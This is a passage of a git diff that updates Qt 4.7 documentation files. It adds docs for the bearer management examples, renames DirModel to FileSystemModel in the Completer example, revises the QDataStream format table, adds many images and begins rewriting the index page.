QNetworkSession + signals which we use to monitor it for state changes. + + Next we set some QGraphicsItem properties. The QGraphicsItem::ItemIsMovable flag enables mouse + interaction with the Cloud object. + + The Cloud object consists of an icon and a text caption, these are constructed here. We will + assign values to them later, as these will change as the sessions state changes. + + Next we set the initial animation state and call our newConfigurationActivated() slot to finish + setting up the Cloud object based on the state of network session. + + \snippet examples/network/bearercloud/cloud.cpp 0 + + The newConfigurationActivated() slot is called when a session has successfully roamed from one + access point to another. + + The first thing we do is set the icon, inserting it into a shared SVG renderer cache if it is + not already available. Next we set the text caption to the name of the network configuration. + + We then set the position of the icon and text caption so that they are centered horizontally. + + Finally we call our stateChanged() slot. + + \snippet examples/network/bearercloud/cloud.cpp 1 + + The stateChanged() slot is called when the session state changes. + + In this slot we set lower the opacity of Cloud objects with network sessions that cannot be + \l {QNetworkSession::open()}{opened}, and set a detailed tool tip describing the sessions + state. + + \snippet examples/network/bearercloud/cloud.cpp 2 + + In our reimplementation of the QGraphicsItem::mouseDoubleClickEvent() function we call + QNetworkSession::open() or QNetworkSession::close() to open or close the session in response + to a double left click. + + \snippet examples/network/bearercloud/cloud.cpp 3 + + As we support the user dragging Cloud objects around we need to restart animations when the + position of the Cloud object changes. This is accomplished by reimplementing the + QGraphicsItem::itemChanged() function and calling the cloudMoved() function of the BearerCloud + object. + + \snippet examples/network/bearercloud/cloud.cpp 4 + + The remainder of the code for the Cloud object implements the animations. The + calculateForces() function calculates the new position of the Cloud object based on the + position of all the other Cloud objects in the scene. The new position is set when the + advance() function is called to update the Cloud object for the current animation frame. +*/ diff --git a/doc/src/examples/bearermonitor.qdoc b/doc/src/examples/bearermonitor.qdoc new file mode 100644 index 0000000..592d1e5 --- /dev/null +++ b/doc/src/examples/bearermonitor.qdoc @@ -0,0 +1,49 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \example network/bearermonitor + \title Bearer Monitor Example + + The Bearer Monitor example shows how to use the Bearer Management API. + + \image bearermonitor-example.png Screenshot of the Bearer Monitor example +*/ diff --git a/doc/src/examples/completer.qdoc b/doc/src/examples/completer.qdoc index b69ea69..c0eb947 100644 --- a/doc/src/examples/completer.qdoc +++ b/doc/src/examples/completer.qdoc @@ -48,7 +48,7 @@ \image completer-example.png - This example uses a custom item model, \c DirModel, and a QCompleter object. + This example uses a custom item model, \c FileSystemModel, and a QCompleter object. QCompleter is a class that provides completions based on an item model. The type of model, the completion mode, and the case sensitivity can be selected using combo boxes. @@ -61,32 +61,32 @@ \quotefile examples/tools/completer/completer.qrc - \section1 DirModel Class Definition + \section1 FileSystemModel Class Definition - The \c DirModel class is a subclass of QDirModel, which provides a data + The \c FileSystemModel class is a subclass of QFileSystemModel, which provides a data model for the local filesystem. - \snippet examples/tools/completer/dirmodel.h 0 + \snippet examples/tools/completer/fsmodel.h 0 This class only has a constructor and a \c data() function as it is only created to enable \c data() to return the entire file path for the - display role, unlike \l{QDirModel}'s \c data() function that only returns + display role, unlike \l{QFileSystemModel}'s \c data() function that only returns the folder and not the drive label. This is further explained in - \c DirModel's implementation. + \c FileSystemModel's implementation. - \section1 DirModel Class Implementation + \section1 FileSystemModel Class Implementation - The constructor for the \c DirModel class is used to pass \a parent to - QDirModel. + The constructor for the \c FileSystemModel class is used to pass \a parent to + QFileSystemModel. - \snippet examples/tools/completer/dirmodel.cpp 0 + \snippet examples/tools/completer/fsmodel.cpp 0 As mentioned earlier, the \c data() function is reimplemented in order to get it to return the entire file parth for the display role. For example, - with a QDirModel, you will see "Program Files" in the view. However, with - \c DirModel, you will see "C:\\Program Files". + with a QFileSystemModel, you will see "Program Files" in the view. However, with + \c FileSystemModel, you will see "C:\\Program Files". - \snippet examples/tools/completer/dirmodel.cpp 1 + \snippet examples/tools/completer/fsmodel.cpp 1 The screenshots below illustrate this difference: @@ -120,7 +120,7 @@ is then invoked. We set up three QComboBox objects, \c modelComb, \c modeCombo and - \c caseCombo. By default, the \c modelCombo is set to QDirModel, + \c caseCombo. By default, the \c modelCombo is set to QFileSystemModel, the \c modeCombo is set to "Filtered Popup" and the \c caseCombo is set to "Case Insensitive". @@ -202,7 +202,7 @@ model selected by the user. A \c switch statement is used to change the item model based on the index - of \c modelCombo. If \c case is 0, we use an unsorted QDirModel, providing + of \c modelCombo. If \c case is 0, we use an unsorted QFileSystemModel, providing us with a file path excluding the drive label. \snippet examples/tools/completer/mainwindow.cpp 11 diff --git a/doc/src/examples/contextsensitivehelp.qdoc b/doc/src/examples/contextsensitivehelp.qdoc new file mode 100644 index 0000000..92ace2d --- /dev/null +++ b/doc/src/examples/contextsensitivehelp.qdoc @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \example help/contextsensitivehelp + \title Context-Sensitive Help Example + + This example shows how to use the services of the QHelpEngineCore class. +*/ diff --git a/doc/src/examples/editabletreemodel.qdoc b/doc/src/examples/editabletreemodel.qdoc index d925c43..38754b6 100644 --- a/doc/src/examples/editabletreemodel.qdoc +++ b/doc/src/examples/editabletreemodel.qdoc @@ -223,7 +223,7 @@ corresponding \c TreeItem, and return model indexes that correspond to its parents and children. - In the diagram, we show how the model's \l{TreeModel::parent()}{parent()} + In the diagram, we show how the model's \l{TreeModel::parent}{parent()} implementation obtains the model index corresponding to the parent of an item supplied by the caller, using the items shown in a \l{Relations-between-internal-items}{previous diagram}. diff --git a/doc/src/examples/hellogl_es.qdoc b/doc/src/examples/hellogl_es.qdoc index fca1150..67a83e0 100644 --- a/doc/src/examples/hellogl_es.qdoc +++ b/doc/src/examples/hellogl_es.qdoc @@ -64,29 +64,6 @@ the OpenGL ES window within the native window manager. In QGLWidget::initializeGL() we initialize OpenGL ES. - \section1 Using OpenGL ES rendering commands - - To update the scene, we reimplment QGLWidget::paintGL(). We use OpenGL ES - rendering commands just like we do with standard OpenGL. Since the OpenGL - ES common light profile only supports fixed point functions, we need to - abstract it somehow. Hence, we define an abstraction layer in - \c{cl_helper.h}. - - \snippet examples/opengl/hellogl_es/cl_helper.h 0 - - Instead of \c glFogxv() or \c glFogfv() we use \c q_glFogv() and to - convert the coordinates of a vertice we use the macro \c f2vt(). That way, - if QT_OPENGL_ES_CL is defined we use the fixed point functions and every - float is converted to fixed point. - - If QT_OPENGL_ES_CL is not defined we use the floating point functions. - - \snippet examples/opengl/hellogl_es/cl_helper.h 1 - - This way we support OpenGL ES Common and Common Light with the same code - and abstract the fact that we use either the floating point functions or - otherwise the fixed point functions. - \section1 Porting OpenGL to OpenGL ES Since OpenGL ES is missing the immediate mode and does not support quads, diff --git a/doc/src/examples/qtscriptcustomclass.qdoc b/doc/src/examples/qtscriptcustomclass.qdoc index f825ad9..028c7a6 100644 --- a/doc/src/examples/qtscriptcustomclass.qdoc +++ b/doc/src/examples/qtscriptcustomclass.qdoc @@ -120,6 +120,8 @@ this ByteArrayClass object, so that the constructor, when it is invoked, can extract the pointer and use it to create a new \c{ByteArray} object. + \snippet examples/script/customclass/bytearrayclass.cpp 10 + \snippet examples/script/customclass/bytearrayclass.cpp 1 The newInstance() function isn't part of the QScriptClass API; its purpose is to offer @@ -128,6 +130,11 @@ QScriptEngine::newObject() will call the prototype() function of our class, ensuring that the prototype of the new object will be the standard \c{ByteArray} prototype. + QScriptEngine::reportAdditionalMemoryCost() is called to inform the script engine of the + memory occupied by the QByteArray. This gives the garbage collector a hint that it should + perhaps trigger more frequently, possibly freeing up memory associated with large ByteArray + objects that are no longer in use. + \snippet examples/script/customclass/bytearrayclass.cpp 2 construct() is the native function that will act as a constructor for \c{ByteArray} @@ -159,6 +166,12 @@ array index that was calculated in the queryProperty() function, enlarge the array if necessary, and write the given value to the array. + \snippet examples/script/customclass/bytearrayclass.cpp 9 + + The resize() function is a helper function that resizes the QByteArray to a new size, and, + if the new size is greater than the old, reports the additional memory cost to the script + engine. + \snippet examples/script/customclass/bytearrayclass.cpp 6 The propertyFlags() reimplementation specifies that the \c{length} property can't be deleted, diff --git a/doc/src/examples/svgalib.qdoc b/doc/src/examples/svgalib.qdoc index cf6512c..9142112 100644 --- a/doc/src/examples/svgalib.qdoc +++ b/doc/src/examples/svgalib.qdoc @@ -43,9 +43,6 @@ \example qws/svgalib \title Accelerated Graphics Driver Example - \warning This example was designed to work with Qt 4.4 and will not work - with current versions of Qt. It will be removed from Qt 4.7. - The Accelerated Graphics Driver example shows how you can write your own accelerated graphics driver and \l {add your graphics driver to Qt for Embedded Linux}. In \l{Qt for Embedded Linux}, diff --git a/doc/src/files-and-resources/datastreamformat.qdoc b/doc/src/files-and-resources/datastreamformat.qdoc index 1c2d887..bab2c2c 100644 --- a/doc/src/files-and-resources/datastreamformat.qdoc +++ b/doc/src/files-and-resources/datastreamformat.qdoc @@ -47,7 +47,7 @@ The \l QDataStream allows you to serialize some of the Qt data types. The table below lists the data types that QDataStream can serialize and how they are represented. The format described below is - \l{QDataStream::setVersion()}{version 8}. + \l{QDataStream::setVersion()}{version 12}. It is always best to cast integers to a Qt integer type, such as qint16 or quint32, when reading and writing. This ensures that @@ -57,9 +57,9 @@ \table \row \o bool - \o \list - \o boolean - \endlist + \o \list + \o boolean + \endlist \row \o qint8 \o \list \o signed byte @@ -145,6 +145,17 @@ \o Time (QTime) \o 0 for Qt::LocalTime, 1 for Qt::UTC (quint8) \endlist + \row \o QEasingCurve + \o \list + \o type (quint8) + \o func (quint64) + \o hasConfig (bool) + \o If hasConfig is true then these fields follow: + \o list + \o period (double) + \o amplitude (double) + \o overshoot (double) + \endlist \row \o QFont \o \list \o The family (QString) diff --git a/doc/src/files-and-resources/resources.qdoc b/doc/src/files-and-resources/resources.qdoc index 639aaf4..00646ac 100644 --- a/doc/src/files-and-resources/resources.qdoc +++ b/doc/src/files-and-resources/resources.qdoc @@ -92,8 +92,11 @@ system. By default, resources are accessible in the application under the - same name as they have in the source tree, with a \c :/ prefix. - For example, the path \c :/images/cut.png would give access to the + same file name as they have in the source tree, with a \c :/ prefix, + or by a \link QUrl URL\endlink with a \c qrc scheme. + + For example, the file path \c :/images/cut.png or the URL + \c qrc:///images/cut.png would give access to the \c cut.png file, whose location in the application's source tree is \c images/cut.png. This can be changed using the \c file tag's \c alias attribute: diff --git a/doc/src/frameworks-technologies/activeqt-server.qdoc b/doc/src/frameworks-technologies/activeqt-server.qdoc index f28097f..4afcee1 100644 --- a/doc/src/frameworks-technologies/activeqt-server.qdoc +++ b/doc/src/frameworks-technologies/activeqt-server.qdoc @@ -99,10 +99,6 @@ \o Register the server \endlist - Note that the QAxServer build system is not supported on Windows 98/ME - (attaching of resources to a binary is not possible there), but a server - built on Windows NT/2000/XP will work on previous Windows versions as well. - To skip the post-processing step, also set the \c qaxserver_no_postlink configuration. @@ -413,8 +409,7 @@ \footnote OLE needs to marshal user defined types by reference (ByRef), and cannot marshal them by value (ByVal). This is why const-references and object - parameters are not supported for QRect, QSize and QPoint. Also note that - servers with this datatype require Windows 98 or DCOM 1.2 to be installed. + parameters are not supported for QRect, QSize and QPoint. \endfootnote \o [in, out] struct QRect (user defined) \row diff --git a/doc/src/frameworks-technologies/activeqt.qdoc b/doc/src/frameworks-technologies/activeqt.qdoc index 6273337..b752122 100644 --- a/doc/src/frameworks-technologies/activeqt.qdoc +++ b/doc/src/frameworks-technologies/activeqt.qdoc @@ -101,7 +101,7 @@ plugin that integrates the QAxContainer module into \l{Qt Designer}. - The ActiveQt modules are part of the \l{Qt Full Framework Edition} and + The ActiveQt modules are part of the \l{Qt Commercial Edition} and the \l{Open Source Versions of Qt}. \sa {QAxContainer Module}, {QAxServer Module} diff --git a/doc/src/frameworks-technologies/containers.qdoc b/doc/src/frameworks-technologies/containers.qdoc index 86920fd..505b65c 100644 --- a/doc/src/frameworks-technologies/containers.qdoc +++ b/doc/src/frameworks-technologies/containers.qdoc @@ -612,11 +612,14 @@ Qt automatically takes a copy of the container when it enters a \c foreach loop. If you modify the container as you are - iterating, that won't affect the loop. (If you don't modify the + iterating, that won't affect the loop. (If you do not modify the container, the copy still takes place, but thanks to \l{implicit - sharing} copying a container is very fast.) Similarly, declaring - the variable to be a non-const reference, in order to modify the - current item in the list will not work either. + sharing} copying a container is very fast.) + + Since foreach creates a copy of the container, using a non-const + reference for the variable does not allow you to modify the original + container. It only affects the copy, which is probably not what you + want. In addition to \c foreach, Qt also provides a \c forever pseudo-keyword for infinite loops: diff --git a/doc/src/frameworks-technologies/eventsandfilters.qdoc b/doc/src/frameworks-technologies/eventsandfilters.qdoc index 29d8709..96ee18c 100644 --- a/doc/src/frameworks-technologies/eventsandfilters.qdoc +++ b/doc/src/frameworks-technologies/eventsandfilters.qdoc @@ -67,8 +67,6 @@ document describes how events are delivered and handled in a typical application. - \tableofcontents - \section1 How Events are Delivered When an event occurs, Qt creates an event object to represent it by diff --git a/doc/src/getting-started/demos.qdoc b/doc/src/getting-started/demos.qdoc index 03e5aa6..6974634 100644 --- a/doc/src/getting-started/demos.qdoc +++ b/doc/src/getting-started/demos.qdoc @@ -46,7 +46,7 @@ \previouspage Qt Examples \contentspage How to Learn Qt - \nextpage What's New in Qt 4.6 + \nextpage What's New in Qt 4.7 This is the list of demonstrations in Qt's \c demos directory. These are larger and more complicated programs than the diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index 0c18773..885e96c 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -880,6 +880,8 @@ \o \l{network/threadedfortuneserver}{Threaded Fortune Server}\raisedaster \o \l{network/torrent}{Torrent} \o \l{network/googlesuggest}{Google Suggest} + \o \l{network/bearercloud}{Bearer Cloud}\raisedaster + \o \l{network/bearermonitor}{Bearer Monitor} \endlist Examples marked with an asterisk (*) are fully documented. @@ -1218,6 +1220,8 @@ \list \o \l{help/simpletextviewer}{Simple Text Viewer}\raisedaster + \o \l{help/remotecontrol}{Remote Control} + \o \l{help/contextsensitivehelp}{Context-Sensitive Help} \endlist Examples marked with an asterisk (*) are fully documented. diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc index 561cc07..3a9d4ea 100644 --- a/doc/src/getting-started/installation.qdoc +++ b/doc/src/getting-started/installation.qdoc @@ -176,7 +176,7 @@ consult the installation instructions provided instead of the ones in this document. \o \l{Open Source Versions of Qt} is not officially supported for use with any version of Visual Studio. Integration with Visual Studio is available -as part of the \l{Qt Commercial Editions}. +as part of the \l{Qt Commercial Edition}. \endlist \endtable @@ -290,6 +290,10 @@ and follow the instructions to install Qt. You can later run the \c{uninstall-qt script to uninstall the binary package. The script is located in /Developer/Tools and must be run as root. +\note Do not run the iPhone simulator while installing Qt. The +\l{http://openradar.appspot.com/7214991} +{iPhone simulator conflicts with the package installer}. + The following instructions describe how to install Qt from the source package. \list 1 @@ -740,9 +744,9 @@ If you are using pre-built binaries, follow the instructions given in the \l{http://www.microsoft.com/downloads/details.aspx?FamilyId=BB4A75AB-E2D4-4C96-B39D-37BAF6B5B1DC&displaylang=en}{here} to avoid runtime conflicts. - If you are using a source code package of Qt, you must first install Perl so + If you are using a source edition of Qt, you must first install Perl so that the syncqt script invoked by configure can be executed. You can download - this \l{http://www.activestate/downloads/}{here}. + this \l{http://www.activestate.com/downloads/}{here}. To build Qt with Phonon on Windows, you require: diff --git a/doc/src/howtos/timers.qdoc b/doc/src/howtos/timers.qdoc index b9c7bfa..cfc2fb4 100644 --- a/doc/src/howtos/timers.qdoc +++ b/doc/src/howtos/timers.qdoc @@ -72,7 +72,7 @@ The upper limit for the interval value is determined by the number of milliseconds that can be specified in a signed integer (in practice, this is a period of just over 24 days). The accuracy - depends on the underlying operating system. Windows 98 has 55 + depends on the underlying operating system. Windows 2000 has 15 millisecond accuracy; other systems that we have tested can handle 1 millisecond intervals. diff --git a/doc/src/images/bearercloud-example.png b/doc/src/images/bearercloud-example.png Binary files differnew file mode 100644 index 0000000..aaf69df --- /dev/null +++ b/doc/src/images/bearercloud-example.png diff --git a/doc/src/images/bearermonitor-example.png b/doc/src/images/bearermonitor-example.png Binary files differnew file mode 100644 index 0000000..1b8a9c3 --- /dev/null +++ b/doc/src/images/bearermonitor-example.png diff --git a/doc/src/images/container_bench.png b/doc/src/images/container_bench.png Binary files differnew file mode 100644 index 0000000..a707b1a --- /dev/null +++ b/doc/src/images/container_bench.png diff --git a/doc/src/images/declarative-anchors_example.png b/doc/src/images/declarative-anchors_example.png Binary files differnew file mode 100644 index 0000000..293cd4b --- /dev/null +++ b/doc/src/images/declarative-anchors_example.png diff --git a/doc/src/images/declarative-anchors_example2.png b/doc/src/images/declarative-anchors_example2.png Binary files differnew file mode 100644 index 0000000..6d3be7d --- /dev/null +++ b/doc/src/images/declarative-anchors_example2.png diff --git a/doc/src/images/declarative-image_fillMode.gif b/doc/src/images/declarative-image_fillMode.gif Binary files differnew file mode 100644 index 0000000..eb0a9af --- /dev/null +++ b/doc/src/images/declarative-image_fillMode.gif diff --git a/doc/src/images/declarative-image_tile.png b/doc/src/images/declarative-image_tile.png Binary files differnew file mode 100644 index 0000000..b946a6d --- /dev/null +++ b/doc/src/images/declarative-image_tile.png diff --git a/doc/src/images/declarative-integrating-graphicswidgets.png b/doc/src/images/declarative-integrating-graphicswidgets.png Binary files differnew file mode 100644 index 0000000..d57f4b9 --- /dev/null +++ b/doc/src/images/declarative-integrating-graphicswidgets.png diff --git a/doc/src/images/declarative-item_opacity1.png b/doc/src/images/declarative-item_opacity1.png Binary files differnew file mode 100644 index 0000000..cde973b --- /dev/null +++ b/doc/src/images/declarative-item_opacity1.png diff --git a/doc/src/images/declarative-item_opacity2.png b/doc/src/images/declarative-item_opacity2.png Binary files differnew file mode 100644 index 0000000..8627360 --- /dev/null +++ b/doc/src/images/declarative-item_opacity2.png diff --git a/doc/src/images/declarative-item_stacking1.png b/doc/src/images/declarative-item_stacking1.png Binary files differnew file mode 100644 index 0000000..18f4148 --- /dev/null +++ b/doc/src/images/declarative-item_stacking1.png diff --git a/doc/src/images/declarative-item_stacking2.png b/doc/src/images/declarative-item_stacking2.png Binary files differnew file mode 100644 index 0000000..7a71bcd --- /dev/null +++ b/doc/src/images/declarative-item_stacking2.png diff --git a/doc/src/images/declarative-item_stacking3.png b/doc/src/images/declarative-item_stacking3.png Binary files differnew file mode 100644 index 0000000..cde973b --- /dev/null +++ b/doc/src/images/declarative-item_stacking3.png diff --git a/doc/src/images/declarative-item_stacking4.png b/doc/src/images/declarative-item_stacking4.png Binary files differnew file mode 100644 index 0000000..3fdf627 --- /dev/null +++ b/doc/src/images/declarative-item_stacking4.png diff --git a/doc/src/images/declarative-nopercent.png b/doc/src/images/declarative-nopercent.png Binary files differnew file mode 100644 index 0000000..28b00a9 --- /dev/null +++ b/doc/src/images/declarative-nopercent.png diff --git a/doc/src/images/declarative-pathattribute.png b/doc/src/images/declarative-pathattribute.png Binary files differnew file mode 100644 index 0000000..57cd049 --- /dev/null +++ b/doc/src/images/declarative-pathattribute.png diff --git a/doc/src/images/declarative-pathcubic.png b/doc/src/images/declarative-pathcubic.png Binary files differnew file mode 100644 index 0000000..ffbca5d --- /dev/null +++ b/doc/src/images/declarative-pathcubic.png diff --git a/doc/src/images/declarative-pathquad.png b/doc/src/images/declarative-pathquad.png Binary files differnew file mode 100644 index 0000000..65f1999 --- /dev/null +++ b/doc/src/images/declarative-pathquad.png diff --git a/doc/src/images/declarative-percent.png b/doc/src/images/declarative-percent.png Binary files differnew file mode 100644 index 0000000..c277055 --- /dev/null +++ b/doc/src/images/declarative-percent.png diff --git a/doc/src/images/declarative-qtlogo1.png b/doc/src/images/declarative-qtlogo1.png Binary files differnew file mode 100644 index 0000000..940d159 --- /dev/null +++ b/doc/src/images/declarative-qtlogo1.png diff --git a/doc/src/images/declarative-qtlogo2.png b/doc/src/images/declarative-qtlogo2.png Binary files differnew file mode 100644 index 0000000..b1d128a --- /dev/null +++ b/doc/src/images/declarative-qtlogo2.png diff --git a/doc/src/images/declarative-qtlogo3.png b/doc/src/images/declarative-qtlogo3.png Binary files differnew file mode 100644 index 0000000..d516524 --- /dev/null +++ b/doc/src/images/declarative-qtlogo3.png diff --git a/doc/src/images/declarative-qtlogo4.png b/doc/src/images/declarative-qtlogo4.png Binary files differnew file mode 100644 index 0000000..7c8aa64 --- /dev/null +++ b/doc/src/images/declarative-qtlogo4.png diff --git a/doc/src/images/declarative-qtlogo5.png b/doc/src/images/declarative-qtlogo5.png Binary files differnew file mode 100644 index 0000000..b7b3513 --- /dev/null +++ b/doc/src/images/declarative-qtlogo5.png diff --git a/doc/src/images/declarative-qtlogo6.png b/doc/src/images/declarative-qtlogo6.png Binary files differnew file mode 100644 index 0000000..07a078f --- /dev/null +++ b/doc/src/images/declarative-qtlogo6.png diff --git a/doc/src/images/declarative-rect.png b/doc/src/images/declarative-rect.png Binary files differnew file mode 100644 index 0000000..173759a --- /dev/null +++ b/doc/src/images/declarative-rect.png diff --git a/doc/src/images/declarative-rect_gradient.png b/doc/src/images/declarative-rect_gradient.png Binary files differnew file mode 100644 index 0000000..f79d579 --- /dev/null +++ b/doc/src/images/declarative-rect_gradient.png diff --git a/doc/src/images/declarative-rect_tint.png b/doc/src/images/declarative-rect_tint.png Binary files differnew file mode 100644 index 0000000..3a44013 --- /dev/null +++ b/doc/src/images/declarative-rect_tint.png diff --git a/doc/src/images/declarative-removebutton-close.png b/doc/src/images/declarative-removebutton-close.png Binary files differnew file mode 100644 index 0000000..d73f8e1 --- /dev/null +++ b/doc/src/images/declarative-removebutton-close.png diff --git a/doc/src/images/declarative-removebutton-open.png b/doc/src/images/declarative-removebutton-open.png Binary files differnew file mode 100644 index 0000000..b54d797 --- /dev/null +++ b/doc/src/images/declarative-removebutton-open.png diff --git a/doc/src/images/declarative-removebutton.gif b/doc/src/images/declarative-removebutton.gif Binary files differnew file mode 100644 index 0000000..ca4d7e6 --- /dev/null +++ b/doc/src/images/declarative-removebutton.gif diff --git a/doc/src/images/declarative-removebutton.png b/doc/src/images/declarative-removebutton.png Binary files differnew file mode 100644 index 0000000..f783e6a --- /dev/null +++ b/doc/src/images/declarative-removebutton.png diff --git a/doc/src/images/declarative-reuse-1.png b/doc/src/images/declarative-reuse-1.png Binary files differnew file mode 100644 index 0000000..c704457 --- /dev/null +++ b/doc/src/images/declarative-reuse-1.png diff --git a/doc/src/images/declarative-reuse-2.png b/doc/src/images/declarative-reuse-2.png Binary files differnew file mode 100644 index 0000000..0b6006b --- /dev/null +++ b/doc/src/images/declarative-reuse-2.png diff --git a/doc/src/images/declarative-reuse-3.png b/doc/src/images/declarative-reuse-3.png Binary files differnew file mode 100644 index 0000000..695a725 --- /dev/null +++ b/doc/src/images/declarative-reuse-3.png diff --git a/doc/src/images/declarative-reuse-bluerect.png b/doc/src/images/declarative-reuse-bluerect.png Binary files differnew file mode 100644 index 0000000..97dbb5f --- /dev/null +++ b/doc/src/images/declarative-reuse-bluerect.png diff --git a/doc/src/images/declarative-reuse-focus.png b/doc/src/images/declarative-reuse-focus.png Binary files differnew file mode 100644 index 0000000..f91d374 --- /dev/null +++ b/doc/src/images/declarative-reuse-focus.png diff --git a/doc/src/images/declarative-rotation.png b/doc/src/images/declarative-rotation.png Binary files differnew file mode 100644 index 0000000..b4031f5 --- /dev/null +++ b/doc/src/images/declarative-rotation.png diff --git a/doc/src/images/declarative-roundrect.png b/doc/src/images/declarative-roundrect.png Binary files differnew file mode 100644 index 0000000..607da81 --- /dev/null +++ b/doc/src/images/declarative-roundrect.png diff --git a/doc/src/images/declarative-samegame.png b/doc/src/images/declarative-samegame.png Binary files differnew file mode 100644 index 0000000..2232df2 --- /dev/null +++ b/doc/src/images/declarative-samegame.png diff --git a/doc/src/images/declarative-scale.png b/doc/src/images/declarative-scale.png Binary files differnew file mode 100644 index 0000000..bab729e --- /dev/null +++ b/doc/src/images/declarative-scale.png diff --git a/doc/src/images/declarative-scalegrid.png b/doc/src/images/declarative-scalegrid.png Binary files differnew file mode 100644 index 0000000..32d87125 --- /dev/null +++ b/doc/src/images/declarative-scalegrid.png diff --git a/doc/src/images/declarative-text.png b/doc/src/images/declarative-text.png Binary files differnew file mode 100644 index 0000000..c1a4112 --- /dev/null +++ b/doc/src/images/declarative-text.png diff --git a/doc/src/images/declarative-textedit.gif b/doc/src/images/declarative-textedit.gif Binary files differnew file mode 100644 index 0000000..7186eb9 --- /dev/null +++ b/doc/src/images/declarative-textedit.gif diff --git a/doc/src/images/declarative-textformat.png b/doc/src/images/declarative-textformat.png Binary files differnew file mode 100644 index 0000000..ade1b45 --- /dev/null +++ b/doc/src/images/declarative-textformat.png diff --git a/doc/src/images/declarative-textstyle.png b/doc/src/images/declarative-textstyle.png Binary files differnew file mode 100644 index 0000000..858c1bc --- /dev/null +++ b/doc/src/images/declarative-textstyle.png diff --git a/doc/src/images/declarative-transformorigin.png b/doc/src/images/declarative-transformorigin.png Binary files differnew file mode 100644 index 0000000..4af320f --- /dev/null +++ b/doc/src/images/declarative-transformorigin.png diff --git a/doc/src/images/declarative-tutorial-list-closed.png b/doc/src/images/declarative-tutorial-list-closed.png Binary files differnew file mode 100644 index 0000000..4a0fee9 --- /dev/null +++ b/doc/src/images/declarative-tutorial-list-closed.png diff --git a/doc/src/images/declarative-tutorial-list-open.png b/doc/src/images/declarative-tutorial-list-open.png Binary files differnew file mode 100644 index 0000000..16a9c94 --- /dev/null +++ b/doc/src/images/declarative-tutorial-list-open.png diff --git a/doc/src/images/declarative-tutorial-list.png b/doc/src/images/declarative-tutorial-list.png Binary files differnew file mode 100644 index 0000000..723fe2f --- /dev/null +++ b/doc/src/images/declarative-tutorial-list.png diff --git a/doc/src/images/declarative-tutorial1.png b/doc/src/images/declarative-tutorial1.png Binary files differnew file mode 100644 index 0000000..c9d3844 --- /dev/null +++ b/doc/src/images/declarative-tutorial1.png diff --git a/doc/src/images/declarative-tutorial2.png b/doc/src/images/declarative-tutorial2.png Binary files differnew file mode 100644 index 0000000..835484a --- /dev/null +++ b/doc/src/images/declarative-tutorial2.png diff --git a/doc/src/images/declarative-tutorial3.gif b/doc/src/images/declarative-tutorial3.gif Binary files differnew file mode 100644 index 0000000..e2eae81 --- /dev/null +++ b/doc/src/images/declarative-tutorial3.gif diff --git a/doc/src/images/declarative-tutorial3_animation.gif b/doc/src/images/declarative-tutorial3_animation.gif Binary files differnew file mode 100644 index 0000000..80b78de --- /dev/null +++ b/doc/src/images/declarative-tutorial3_animation.gif diff --git a/doc/src/images/quick_screens.png b/doc/src/images/quick_screens.png Binary files differnew file mode 100644 index 0000000..76b25d9 --- /dev/null +++ b/doc/src/images/quick_screens.png diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc index 7c3b4a1..2f23e6e 100644 --- a/doc/src/index.qdoc +++ b/doc/src/index.qdoc @@ -43,110 +43,84 @@ \page index.html \keyword Qt Reference Documentation - \title Qt Reference Documentation - \raw HTML - <table cellpadding="2" cellspacing="1" border="0" width="95%" class="indextable" align="center"> - <tr> - <th class="titleheader" width="33%"> - Getting Started</th> - <th class="titleheader" width="33%"> - API Reference</th> - <th class="titleheader" width="33%"> - Working with Qt</th> - </tr> - <tr> - <td valign="top"> - <ul> - <li><a href="installation.html">Installation</a> and <a href="how-to-learn-qt.html">First Steps with Qt</a></li> - <li><a href="tutorials.html">Tutorials</a> and <a href="examples.html">Examples</a></li> - <li><a href="demos.html">Demonstrations</a> and <a href="qt4-6-intro.html"><b>New in Qt 4.6</b></a></li> - </ul> - </td> - <td valign="top"> - <ul> - <li><a href="classlists.html">Class and Function Documentation</a></li> - <li><a href="frameworks-technologies.html">Frameworks and Technologies</a></li> - <li><a href="best-practices.html">How-To's and Best Practices</a></li> - </ul> - </td> - <td valign="top"> - <ul> - <li><a 